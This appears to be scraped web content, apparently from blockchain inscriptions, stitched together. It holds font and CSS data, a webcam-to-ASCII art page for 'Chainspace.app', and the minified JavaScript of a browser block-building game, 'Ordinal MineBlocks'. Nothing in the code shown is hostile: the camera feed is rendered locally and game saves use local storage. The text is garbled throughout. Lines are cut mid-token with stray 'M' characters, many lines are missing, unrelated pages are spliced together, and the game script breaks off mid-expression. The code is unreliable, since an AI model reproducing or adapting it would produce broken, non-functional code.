q6Vm2UKqKYrmtR8zrkLACNmLuTSuBlVNf6qq7oXaVUykjh8qBcVxxSXpDpYRIXb+DI55xfnOeppEkFF4QU8xOWlELJhxHpAjuF5HH8ji0jYXT+GiM47Qbs2OPHUruRYNmOs21E5tGVzWPd6Xmx6k7gVvitke0XAJCCEHv6BnczWj9LqWNjOzBpX61QXu+3zPkeabuXXTi5vL1CkgSz3L1ASxuzWT7qNrP/HX8u5lDfv842+tlW4NqMVNq9/JX40K7hFJD0zzoH2iGDJRPzmqXj88DmaCPdjMnBJ2yDbrrwXnmCcLMZJEi8y4lkQqZe6CQUYH+0Gg+/Oa0HKPXyLB5exi+PMqDge88moevzuHxxk0jZG7ycqwCUg7X26XGz5B/3h9CP9e9GpQfpP4f9ZTAH3/989+XrJyajrmVtQ0cPmNRYY4FtrCNHRxDQkaNgiUaPEciU6g2tjQ6g2nHYttzuDy+QCgSOzg6SZylLq4yucJNqXL38PTy9vH1858ToM7m8oViqVyM
p1uqNZqvd6fb6g+FoPJnO5ovlar3BhDIu5FZ5fhBG2lgXJ2lG7n6nkbpevmPR/gUth2M4cZyuxjNq4wWJx5mukY6jbpxvv3TP0LsuuQvtya0KHvvlUMAPEd1QytsD07TNb2poSsz1r4rTOEu1sUjLqEKPPTt06NypNxDlGZcEM0Hyd+mY5j9Ly7+ZDx3G2TDQrkOnLn1161Ebp6mI+4bm7ASI9AkZQItWNbGodl3qLis+hDR20EwgmFpz1TSbqWjxuMHECNqUmwMmK5xAq7EC2mUczzPhhFspTFin8z/W3zGT8eI1yMd1WunQv5e9x123IAyahxOHLnAYELthn/SmYMpidAR9z7VYNpwnFjI5NJWy1XCDIZIWxVHdHDgmxyNDkyYrKjYXlcuMus2AwGMW9ovhVwZHs70lAAA=) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #FFF6CD;
    font-size: 17px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#3B0000", "#FF0000", "#FF95C5", "#FF95C5", "#FFF6CD", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 :M
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = streamM
            video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
t res = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.classM
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
        gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListener('click', (e) =MA
        running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
